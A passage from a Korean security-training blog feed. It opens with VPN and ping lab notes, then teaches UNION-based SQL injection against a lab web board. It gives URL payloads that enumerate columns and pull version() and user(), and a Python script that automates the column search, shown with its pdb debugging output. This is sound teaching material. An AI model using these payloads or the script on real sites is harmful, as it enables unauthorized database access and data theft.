192.168.10.105의 응답: 바이트=32 시간=1ms TTL=128
192.168.10.105의 응답: 바이트=32 시간=1ms TTL=128
192.168.10.105의 응답: 바이트=32 시간=1ms TTL=128

192.168.10.105에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 1ms, 최대 = 1ms, 평균 = 1ms

C:\&gt;tracert -d  192.168.10.105

최대 30홉 이상의 192.168.10.105(으)로 가는 경로 추적

  1    &lt;1 ms    &lt;1 ms    &lt;1 ms  200.200.200.2
  2    &lt;1 ms    &lt;1 ms    &lt;1 ms  192.168.10.105

추적을 완료했습니다.

Windows 7에서 Gateway 설정이 안되어 있는 경우
윈도우 7에서 기본 GW가 없으므로 192.168.10.105로 ping을 치면 통신이 안된다.
C:\Users\user&gt;ping 192.168.10.105

Ping 192.168.10.105 32바이트 데이터 사용:
PING: 전송하지 못했습니다. General failure.
PING: 전송하지 못했습니다. General failure.
PING: 전송하지 못했습니다. General failure.
PING: 전송하지 못했습니다. General failure.

192.168.10.105에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 0, 손실 = 4 (100% 손실),

C:\Users\user&gt;tracert -d 192.168.10.105

Tracing route to 192.168.10.105 over a maximum of 30 hops

  1  Transmit error: code 1231.

Trace complete.


1. VPN 사용자 등록
[Definitions &amp; Users] &gt; [Users &amp; Groups] &gt; [+ New User...]
Add User
Username: vpn01
Realname: vpn01
Email address: aa@a.com
Password: P@ssw0rd , Repeat: P@ssw0rd
Comment: VPN 테스트 사용자

2. SSL VPN 설정
[Remote Access] &gt; [SSL] &gt; [Profiles] &gt; [+ New Remote Access Profil ...]
Profile name: SSL VPN
Users and Groups: vpn01 선택 
Local Networks: internal(network)  &lt;-- 192.168.10.0/24
Automatic firewall rules: 반드시 체크
Comment: SSLVPN 테스트

3. 설정 탭
[Remote Access] &gt; [SSL] &gt; [Settings]
Interface Address: External(Address) 200.200.200.200
Protocol: TCP
Port: 443
Override hostname: 200.200.200.200

Apply 버튼을 클릭한다.

Virtual IP Pool
Pool network: VPN Pool(SSL)  &lt;-- 10.242.10.0/24 (Default)

4. 관리 
[Management] &gt; [User Portal]
글로벌 -&gt; 최종 사용자 포털: 활성화 
Allowed Networks: any (0.0.0.0) -&gt; 적용
에러가 발생해도 OK 버튼을 누르면 설정된다.

&gt;&gt;&gt; 여기까지 설정하면 SSL VPN은 설정이 완료되었다. &lt;&lt;&lt;

5. IP주소 확인
cmd에서 ipconfig로 네트워크를 확인한다.
C:\&gt;ipconfig

Windows IP 구성


이더넷 어댑터 로컬 영역 연결 2:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :

이더넷 어댑터 로컬 영역 연결:

   연결별 DNS 접미사. . . . :
   링크-로컬 IPv6 주소 . . . . : fe80::d5c1:7ec1:9f4f:98cd%11
   IPv4 주소 . . . . . . . . . : 200.200.200.80
   서브넷 마스크 . . . . . . . : 255.255.255.0
   기본 게이트웨이 . . . . . . :

터널 어댑터 isatap.{E9828056-345D-4375-BE36-1F5B3E34D363}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :

터널 어댑터 isatap.{E79D3584-5FD5-4400-B4AA-5E92BD0EB9D5}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :


6. 사이트 접속
Windows 7에서 크롬으로 아래 사이트를 접속한다.
https://200.200.200.200 접속하면 User Portal이 나오고 로그인을 한다.

사용자이름: vpn01
비밀번호: P@ssword

로그인 후 원격접속 탭을 클릭하면 SSL VPN 메뉴가 나오고 첫 번째 프로그램 다운로드 후 설치

================ 첫 번째 프로그램 ================ 
Windows Vista/7/8용 클라이언트 소프트웨어, 키 및 자동 구성을 
포함하여 전체 설치 패키지를 다운로드 하려면 여기를 클릭하십시오.    
=============================================== 

프로그램 설치가 완료되면 트래이 아이콘 부분에 신호등이 생기고 신호등을 클릭한 후 
로그인창이 뜨면 username/password에 아래처럼 선택하고 접속한다.
Username: vpn01
Password: P@ssw0rd

6. 통신 확인
cmd -&gt; ipconfig 
ping 192.168.10.105

C:\&gt;ipconfig

Windows IP 구성


이더넷 어댑터 로컬 영역 연결 2:

   연결별 DNS 접미사. . . . :
   링크-로컬 IPv6 주소 . . . . : fe80::a1cd:d5d8:327d:b9d4%22
   IPv4 주소 . . . . . . . . . : 10.242.2.6
   서브넷 마스크 . . . . . . . : 255.255.255.252
   기본 게이트웨이 . . . . . . :

이더넷 어댑터 로컬 영역 연결:

   연결별 DNS 접미사. . . . :
   링크-로컬 IPv6 주소 . . . . : fe80::d5c1:7ec1:9f4f:98cd%11
   IPv4 주소 . . . . . . . . . : 200.200.200.80
   서브넷 마스크 . . . . . . . : 255.255.255.0
   기본 게이트웨이 . . . . . . :

터널 어댑터 isatap.{E9828056-345D-4375-BE36-1F5B3E34D363}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :

터널 어댑터 isatap.{E79D3584-5FD5-4400-B4AA-5E92BD0EB9D5}:

   미디어 상태 . . . . . . . . : 미디어 연결 끊김
   연결별 DNS 접미사. . . . :


내부망 Windows XP와 ping test로 통신을 확인한다.
C:\&gt;ping 192.168.10.105

Ping 192.168.10.105 32바이트 데이터 사용:
192.168.10.105의 응답: 바이트=32 시간&lt;1ms TTL=127
192.168.10.105의 응답: 바이트=32 시간=1ms TTL=127
192.168.10.105의 응답: 바이트=32 시간&lt;1ms TTL=127
192.168.10.105의 응답: 바이트=32 시간&lt;1ms TTL=127

192.168.10.105에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 0ms, 최대 = 1ms, 평균 = 0ms

C:\Users\user&gt;tracert -d 192.168.10.105

Tracing route to 192.168.10.105 over a maximum of 30 hops

  1    &lt;1 ms    &lt;1 ms    &lt;1 ms  10.242.2.1
  2     1 ms     2 ms     1 ms  192.168.10.105

Trace complete.

UTM으로 접속해서 터널(tun0)인터페이스의 IP주소를 확인한다.
login as: loginuser
loginuser@200.200.200.200&#39;s password:
Last login: Fri Apr 14 09:38:17 2023 from 172.16.10.1

loginuser@utm9:/home/login &gt; su -
Password:
utm9:/root # ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:7e:8e:60 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.200/24 brd 200.200.200.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet 200.200.200.105/24 scope global secondary eth0
       valid_lft forever preferred_lft forever
    inet 200.200.200.101/24 scope global secondary eth0
       valid_lft forever preferred_lft forever
3: eth1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:6a brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global eth1
       valid_lft forever preferred_lft forever
4: eth2: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:74 brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.253/24 brd 172.16.10.255 scope global eth2
       valid_lft forever preferred_lft forever
7: tun0: &lt;POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 100
    link/none
    inet 10.242.2.1 peer 10.242.2.2/32 scope global tun0
       valid_lft forever preferred_lft forever
utm9:/root #

</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[애플리케이션 보안 운영 - 3 (교육 90 ~ 93일차)]]></title>
            <link>https://velog.io/@security_code/%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-3-%EA%B5%90%EC%9C%A1-90-93%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@security_code/%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-3-%EA%B5%90%EC%9C%A1-90-93%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Wed, 19 Apr 2023 08:23:48 GMT</pubDate>
            <description><![CDATA[<pre><code>########
## UNION
#########

UNION 은 합집합을 말한다.
UNION은 두 개의 테이블의 결과를 하나의 테이블에 출력하는 DML이다.
데이터 조작어(DML)이란 무엇인가? 

DML은 Data Manipulation Language의 약자로
데이터베이스에 입력된 데이터를 조회/수정/삭제하는 명령을 말한다.
SELECT: 데이터 조회
INSERT: 데이터 삽입
UPDATE: 데이터 수정
DELETE: 데이터 삭제

MariaDB [WebTest]&gt; SELECT 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT 1,2,3
    -&gt;             UNION
    -&gt;             SELECT 4,5,6;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
| 4 | 5 | 6 |
+---+---+---+
2 rows in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT 1,2,3
    -&gt;             UNION
    -&gt;             SELECT 4,5,6,7;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

MariaDB [WebTest]&gt; DESC member;
+----------+-------------+------+-----+---------+----------------+
| Field    | Type        | Null | Key | Default | Extra          |
+----------+-------------+------+-----+---------+----------------+
| no       | int(11)     | NO   | PRI | NULL    | auto_increment |
| u_id     | varchar(20) | NO   | UNI | NULL    |                |
| u_pass   | varchar(50) | NO   |     | NULL    |                |
| u_name   | varchar(20) | NO   |     | NULL    |                |
| nickname | char(20)    | YES  |     | NULL    |                |
| age      | int(11)     | YES  |     | NULL    |                |
| email    | char(50)    | YES  |     | NULL    |                |
| reg_date | datetime    | NO   |     | NULL    |                |
+----------+-------------+------+-----+---------+----------------+
8 rows in set (0.01 sec)

MariaDB [WebTest]&gt; SELECT * FROM member UNION SELECT 1;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [WebTest]&gt; SELECT * FROM member UNION SELECT 1,2;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [WebTest]&gt; SELECT * FROM member UNION SELECT 1,2,3;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [WebTest]&gt; SELECT * FROM member UNION SELECT 1,2,3,4;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [WebTest]&gt; SELECT * FROM member UNION SELECT 1,2,3,4,5;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [WebTest]&gt; SELECT * FROM member UNION SELECT 1,2,3,4,5,6;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [WebTest]&gt; SELECT * FROM member UNION SELECT 1,2,3,4,5,6,7;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
MariaDB [WebTest]&gt; SELECT * FROM member UNION SELECT 1,2,3,4,5,6,7,8;
+----+--------+--------+-----------+-----------+------+------------------+---------------------+
| no | u_id   | u_pass | u_name    | nickname  | age  | email            | reg_date            |
+----+--------+--------+-----------+-----------+------+------------------+---------------------+
|  1 | tester | 111111 | 테스터    | 테스터    |    3 | tester@naver.com | 2022-10-28 22:28:11 |
|  2 | admin  | 222222 | 관리자    | 관리자    |   30 | admin@naver.com  | 2022-10-28 22:28:47 |
|  1 | 2      | 3      | 4         | 5         |    6 | 7                | 8                   |
+----+--------+--------+-----------+-----------+------+------------------+---------------------+
3 rows in set (0.00 sec)

UNION을 이용해서 하나씩 대입해서 에러가 발생하지 않으면 된다.

에러가 발생된 부분 (1개 ~ 10개까지)
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#  

에러가 발생되지 않은 부분 (11개)
- 게시글이 저장된 테이블의 컬럼수가 11개임을 알 수 있다.
192.168.20.41/board/board_view.php?num=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
192.168.20.41/board/board_view.php?num=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11#


http://192.168.20.41/board/board_view.php?num=-1%20UNION%20SELECT%201,version(),3,4,5,6,7,user(),9,10,1#
</code></pre><blockquote>
<p><strong>실습&gt; 파이썬을 이용한 자동화 툴 만들기</strong></p>
</blockquote>
<pre><code>requests 모듈 공식 사이트: https://requests.readthedocs.io/en/latest/
requests 모듈: HTTP 라이브러리


[root@webhacking ~]# wget https://linuxmaster.net/tools/rh-python38.sh --no-check-certificate
[root@webhacking ~]# chmod 755 rh-python38.sh
[root@webhacking ~]# ./rh-python38.sh
[root@webhacking ~]# python -m venv SQLiProject
[root@webhacking ~]# . SQLiProject/bin/activate
(SQLiProject) [root@webhacking ~]#

(SQLiProject) [root@webhacking ~]# python -m pip install --upgrade pip
(SQLiProject) [root@webhacking ~]# pip install requests
(SQLiProject) [root@webhacking ~]# pip install bs4
(SQLiProject) [root@webhacking ~]# pip list
Package            Version
------------------ -----------
beautifulsoup4     4.11.1
bs4                0.0.1
certifi            2022.9.24
charset-normalizer 2.0.12
idna               3.4
pip                21.3.1
requests           2.27.1
setuptools         39.2.0
soupsieve          2.3.2.post1
urllib3            1.26.12

(SQLiProject) [root@webhacking ~]# vi requestsTest1.py
#!/usr/bin/env python
&quot;&quot;&quot;
파일명: requestTest1.py
프로그램 설명: requests 모듈을 이용한 웹 데이터 가져오기
작성자: 리눅스마스터넷
&quot;&quot;&quot;

import requests

url = &#39;http://192.168.20.41/&#39;  # 자신의 웹 방화벽으로 설정
res = requests.get(url)
print(res.text)

(SQLiProject) [root@webhacking ~]#  chmod 755 requestsTest1.py
(SQLiProject) [root@webhacking ~]#  ./requestsTest1.py 
&lt;!doctype html&gt;
&lt;html&gt;
    &lt;!-- head 부분 --&gt;
    &lt;head&gt;
        &lt;title&gt;Web Test Site&lt;/title&gt;
        &lt;link rel=&quot;stylesheet&quot; href=&quot;style_contents.css&quot; type=&quot;text/css&quot;&gt;
    &lt;/head&gt;
    &lt;body&gt;

            &lt;iframe src=&quot;head.php&quot; id=&quot;bodyFrame&quot; name=&quot;body&quot; width=&quot;100%&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;
        &lt;div id=&quot;main_contents&quot; class=&quot;contents&quot;&gt;
            &lt;h1&gt; 환영합니다~!!^^&lt;/h1&gt;

            &lt;font color=&quot;#323232&quot; size=&quot;4em&quot;&gt;
            웹 해킹을 공부하고 싶은데 연습할 곳이 없으시다구요?&lt;br&gt;
            실제 사이트에 연습하다가는 &lt;strong&gt;!!철컹철컹!!&lt;/strong&gt; 아시죠?&lt;br&gt;
            이곳은 Web Hacking 연습을 위한 Test 사이트 입니다.&lt;br&gt;
            이곳에서는 마음껏 연습하세요~!!^^&lt;br&gt;
            &lt;/font&gt;
        &lt;/div&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre><blockquote>
<p><strong>실습&gt; GET방식을 이용한 접근</strong></p>
</blockquote>
<pre><code>1. 소스코드 작성

/var/www/html/get.html 에 생성한다.

-- get.html --
&lt;!doctype html&gt;
&lt;html&gt;
  &lt;head&gt;
    &lt;meta charset=utf-8&gt;
    &lt;title&gt; ::: get.html ::: &lt;/title&gt;
  &lt;/head&gt;

&lt;body&gt;

&lt;form method=get action=get.php&gt; 
&lt;table align=center bgcolor=#000000 border=0 
       cellpadding=4 cellspacing=1 width=300 &gt;
&lt;tr bgcolor=#ffffff&gt;
  &lt;td align=center width=100&gt; 이름 &lt;/td&gt;
  &lt;td width=240&gt; &lt;input type=text name=userid &gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;tr bgcolor=#ffffff&gt;
  &lt;td align=center width=60&gt; 비밀번호 &lt;/td&gt;
  &lt;td width=240&gt; &lt;input type=password name=userpw &gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;tr bgcolor=#ffffff&gt;
  &lt;td align=center colspan=2&gt; 
  &lt;input type=submit value=&#39;저장&#39;&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;
-- get.html --

-- get.php --
&lt;?
print_r($_GET);
?&gt;
-- get.php --

2. 접속
각자의 IP주소로 접근해서 이름과 비밀번호에 적당한 값을 넣어서 전송한다.

http://&lt;IP주소&gt;/get.html
이름: test
비밀번호: 1234

http://&lt;IP주소&gt;/get.php?userid=test&amp;userpw=1234
Array ( [userid] =&gt; test [userpw] =&gt; 1234 )


3. 파이썬 코드 작성

(SQLiProject) [root@webhacking ~]# vi requestsTest2.py
#!/usr/bin/env python3
&quot;&quot;&quot;
파일명: requestTest2.py
프로그램 설명: requests 모듈을 이용한 웹 데이터 가져오기
작성자: 리눅스마스터넷
&quot;&quot;&quot;

import requests

#url = &#39;http://&lt;IP주소&gt;/get.php?userid=test&amp;userpw=1234&#39;
#res = requests.get(url)

# parameter를 dict 자료형으로 전달한 경우
geturl = &#39;http://192.168.20.41/get.php&#39; 
paramData = { &#39;userid&#39;:&#39;test&#39;, &#39;userpw&#39;:&#39;1234&#39; }
res = requests.get(geturl, params=paramData)
print(res.text)

(SQLiProject) [root@webhacking ~]# chmod 755 requestsTest2.py
(SQLiProject) [root@webhacking ~]# ./requestsTest2.py
Array
(
    [userid] =&gt; test
    [userpw] =&gt; 1234
)
</code></pre><blockquote>
<p><strong>실습&gt; union 공격코드 작성하기</strong></p>
</blockquote>
<pre><code>컬럼의 개수가 맞지 않으면 에러가 발생하므로 클라이언트에 전송된 소스에 &lt;b&gt;Warning&lt;/b&gt; 메세지가 있다.
컬럼의 개수가 맞으면 에러가 발생하지 않으므로 클라이언트에 전송된 소스에 &lt;b&gt;Warning&lt;/b&gt; 메세지가 없다.

1. 공격 코드 작성
(SQLiProject) [root@webhacking ~]# vi unionAttackDebug.py
#!/usr/bin/env python
&quot;&quot;&quot;
파일명: unionAttackDebug.py
프로그램 설명: union 공격을 디버깅하기 위한 예제
작성자: 리눅스마스터넷
&quot;&quot;&quot;

import requests
import bs4
victimIP = &quot;192.168.20.41&quot; # 자신의 WAF 의 IP주소

num = &quot;2 UNION SELECT 1&quot;

for i in range(1,13):  # 1 ~ 12
    if i &gt; 1:
        num = num + &quot;,&quot; + str(i)
        #print(num)

    url = f&quot;http://{victimIP}/board/board_view.php?num={num}&quot;
    res = requests.get(url)
    soup = bs4.BeautifulSoup(res.text, &#39;html.parser&#39;)
    a = soup.find(&#39;b&#39;)

    # Warning 메세지는 에러일 때 나오는 메세지이다.
    if a.text != &#39;Warning&#39;:
        print(&#39;UNION 매칭 OK!!!&#39;)
        print(f&#39;&gt;&gt;&gt; 매칭된 값 {i} : {url} &lt;&lt;&lt;&#39;)
        break

    #print(f&#39;&gt;&gt;&gt; {i} : {url} &lt;&lt;&lt;&#39;)
else:
    print(&#39;UNION 매칭을 찾을 수 없습니다!!!&#39;)

2. 공격 코드 실행
(SQLiProject) [root@webhacking ~]# chmod 755 unionAttackDebug.py
(SQLiProject) [root@webhacking ~]# ./unionAttackDebug.py
UNION 매칭 OK!!!
&gt;&gt;&gt; 매칭된 값 11 : http://192.168.20.41/board/board_view.php?num=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11 &lt;&lt;&lt;

3. 공격 코드 분석
pdb 로 분석한다.
p: 변수를 출력하는 명령어
n: 다음 코드로 진행하는 명령어

pdb를 실행하는 방법: python -m pdb &lt;분석할 파이썬 파일&gt;

(SQLiProject) [root@webhacking ~]# python -m pdb unionAttackDebug.py
&gt; /root/unionAttackDebug.py(2)&lt;module&gt;()
-&gt; &quot;&quot;&quot;
(Pdb) n
(Pdb) n
(Pdb) n
(Pdb) n
(Pdb) :
(Pdb) :
(Pdb) n
&gt; /root/unionAttackDebug.py(19)&lt;module&gt;()
-&gt; url = f&quot;http://{victimIP}/board/board_view.php?num={num}&quot;
(Pdb) n
&gt; /root/unionAttackDebug.py(20)&lt;module&gt;()
-&gt; res = requests.get(url)
(Pdb) p url
&#39;http://192.168.20.41/board/board_view.php?num=2 UNION SELECT 1&#39;
(Pdb) n
&gt; /root/unionAttackDebug.py(21)&lt;module&gt;()
-&gt; soup = bs4.BeautifulSoup(res.text, &#39;html.parser&#39;)
(Pdb) p soup

&lt;!DOCTYPE html&gt;

&lt;html&gt;
&lt;head&gt;
&lt;title&gt;게시판&lt;/title&gt;
&lt;link href=&quot;../style_contents.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;/&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
      function ck() {
        if(document.dform.b_pass.value == &quot;&quot;){
          alert(&#39;패스워드를 입력하세요.&#39;);
          dform.b_pass.focus();
          return false;
        }
        document.dform.submit();
      }
    &lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;iframe frameborder=&quot;0&quot; id=&quot;bodyFrame&quot; name=&quot;body&quot; src=&quot;../head.php&quot; width=&quot;100%&quot;&gt;&lt;/iframe&gt;
&lt;div class=&quot;contents&quot; id=&quot;board_contents&quot;&gt;
&lt;br/&gt;
&lt;b&gt;Warning&lt;/b&gt;:  mysql_fetch_array() expects parameter 1 to be resource, boolean given in &lt;b&gt;/var/www/html/board/board_view.php&lt;/b&gt; on line &lt;b&gt;44&lt;/b&gt;&lt;br/&gt;  &lt;-- 에러가 발생하면 Warning 메세지를 돌려준다.
&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; class=&quot;grayColor&quot; width=&quot;600&quot;&gt;
&lt;tr&gt;
&lt;th colspan=&quot;5&quot; style=&quot;background-color: #323232&quot;&gt;
&lt;font style=&quot;color: white; font-size: 150%;&quot;&gt;내용 보기&lt;/font&gt;
&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;&lt;font&gt;이름&lt;/font&gt;&lt;/th&gt;
&lt;td width=&quot;35%&quot;&gt;&lt;font&gt;&lt;/font&gt;&lt;/td&gt;
&lt;th width=&quot;15%&quot;&gt;&lt;font&gt;등록일&lt;/font&gt;&lt;/th&gt;
&lt;td width=&quot;35%&quot;&gt;&lt;font&gt;&lt;/font&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;&lt;font&gt;이메일&lt;/font&gt;&lt;/th&gt;
&lt;td width=&quot;35%&quot;&gt;&lt;font&gt;&lt;/font&gt;&lt;/td&gt;
&lt;th width=&quot;15%&quot;&gt;&lt;font&gt;조회&lt;/font&gt;&lt;/th&gt;
&lt;td width=&quot;35%&quot;&gt;&lt;font&gt;&lt;/font&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;&lt;font&gt;제목&lt;/font&gt;&lt;/th&gt;
&lt;td colspan=&quot;3&quot;&gt;&lt;font&gt;&lt;/font&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;&lt;font&gt;내용&lt;/font&gt;&lt;/th&gt;
&lt;td colspan=&quot;4&quot; style=&quot;padding:15px 0;&quot;&gt;&lt;font&gt;&lt;/font&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;&lt;font&gt;&lt;b&gt;첨부 파일&lt;/b&gt;&lt;/font&gt;&lt;/th&gt;
&lt;td colspan=&quot;3&quot;&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;br/&gt;
&lt;p align=&quot;center&quot;&gt;
&lt;form action=&quot;board_delete_ok.php?num=2 UNION SELECT 1&quot; method=&quot;post&quot; name=&quot;dform&quot;&gt;
&lt;font&gt;비밀번호&lt;/font&gt;
&lt;input name=&quot;b_pass&quot; size=&quot;20&quot; type=&quot;password&quot;/&gt;
&lt;input class=&quot;btn_default btn_gray&quot; onclick=&quot;ck();&quot; type=&quot;button&quot; value=&quot;삭제&quot;/&gt;

                                &lt;input class=&quot;btn_default btn_gray&quot; onclick=&quot;history.back();&quot; type=&quot;button&quot; value=&quot;목록&quot;/&gt;
&lt;/form&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;

(Pdb) n
&gt; /root/unionAttackDebug.py(22)&lt;module&gt;()
-&gt; a = soup.find(&#39;b&#39;)
(Pdb) n
&gt; /root/unionAttackDebug.py(25)&lt;module&gt;()
-&gt; if a.text != &#39;Warning&#39;:
(Pdb) p a
&lt;b&gt;Warning&lt;/b&gt;
(Pdb) p a.text
Warning
(Pdb) n
      :
      :(생략)
(Pdb) n
2 UNION SELECT 1,2,3,4,5,6,7,8,9,10
&gt; /root/unionAttackDebug.py(19)&lt;module&gt;()
-&gt; url = f&quot;http://{victimIP}/board/board_view.php?num={num}&quot;
(Pdb) :
      :(생략)
&#39;2 UNION SELECT 1,2,3,4,5,6,7,8,9,10&#39;
(Pdb) n
&gt; /root/unionAttackDebug.py(17)&lt;module&gt;()
-&gt; print(num)
(Pdb) p num
&#39;2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11&#39;
(Pdb) n
2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11
&gt; /root/unionAttackDebug.py(19)&lt;module&gt;()
-&gt; url = f&quot;http://{victimIP}/board/board_view.php?num={num}&quot;
(Pdb) n
&gt; /root/unionAttackDebug.py(20)&lt;module&gt;()
-&gt; res = requests.get(url)
(Pdb) p url
&#39;http://192.168.20.41/board/board_view.php?num=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11&#39;
(Pdb) n
&gt; /root/unionAttackDebug.py(21)&lt;module&gt;()
-&gt; soup = bs4.BeautifulSoup(res.text, &#39;html.parser&#39;)
(Pdb) n
&gt; /root/unionAttackDebug.py(22)&lt;module&gt;()
-&gt; a = soup.find(&#39;b&#39;)
(Pdb) p soup

&lt;!DOCTYPE html&gt;

&lt;html&gt;
&lt;head&gt;
&lt;title&gt;게시판&lt;/title&gt;
&lt;link href=&quot;../style_contents.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;/&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
      function ck() {
        if(document.dform.b_pass.value == &quot;&quot;){
          alert(&#39;패스워드를 입력하세요.&#39;);
          dform.b_pass.focus();
          return false;
        }
        document.dform.submit();
      }
    &lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;iframe frameborder=&quot;0&quot; id=&quot;bodyFrame&quot; name=&quot;body&quot; src=&quot;../head.php&quot; width=&quot;100%&quot;&gt;&lt;/iframe&gt;
&lt;div class=&quot;contents&quot; id=&quot;board_contents&quot;&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; class=&quot;grayColor&quot; width=&quot;600&quot;&gt;
&lt;tr&gt;
&lt;th colspan=&quot;5&quot; style=&quot;background-color: #323232&quot;&gt;
&lt;font style=&quot;color: white; font-size: 150%;&quot;&gt;내용 보기&lt;/font&gt;
&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;&lt;font&gt;이름&lt;/font&gt;&lt;/th&gt;
&lt;td width=&quot;35%&quot;&gt;&lt;font&gt;관리자&lt;/font&gt;&lt;/td&gt;
&lt;th width=&quot;15%&quot;&gt;&lt;font&gt;등록일&lt;/font&gt;&lt;/th&gt;
&lt;td width=&quot;35%&quot;&gt;&lt;font&gt;2023-04-04 03:06:45&lt;/font&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;&lt;font&gt;이메일&lt;/font&gt;&lt;/th&gt;
&lt;td width=&quot;35%&quot;&gt;&lt;font&gt;&lt;/font&gt;&lt;/td&gt;
&lt;th width=&quot;15%&quot;&gt;&lt;font&gt;조회&lt;/font&gt;&lt;/th&gt;
&lt;td width=&quot;35%&quot;&gt;&lt;font&gt;6&lt;/font&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th width=&quot;15%&quot;&gt;&lt;font&gt;제목&lt;/font&gt;&lt;/th&gt;
&lt;td colspan=&quot;3&quot;&gt;&lt;font&gt;11&lt;/font&gt;&lt;/td&gt;
&lt;/tr&gt;
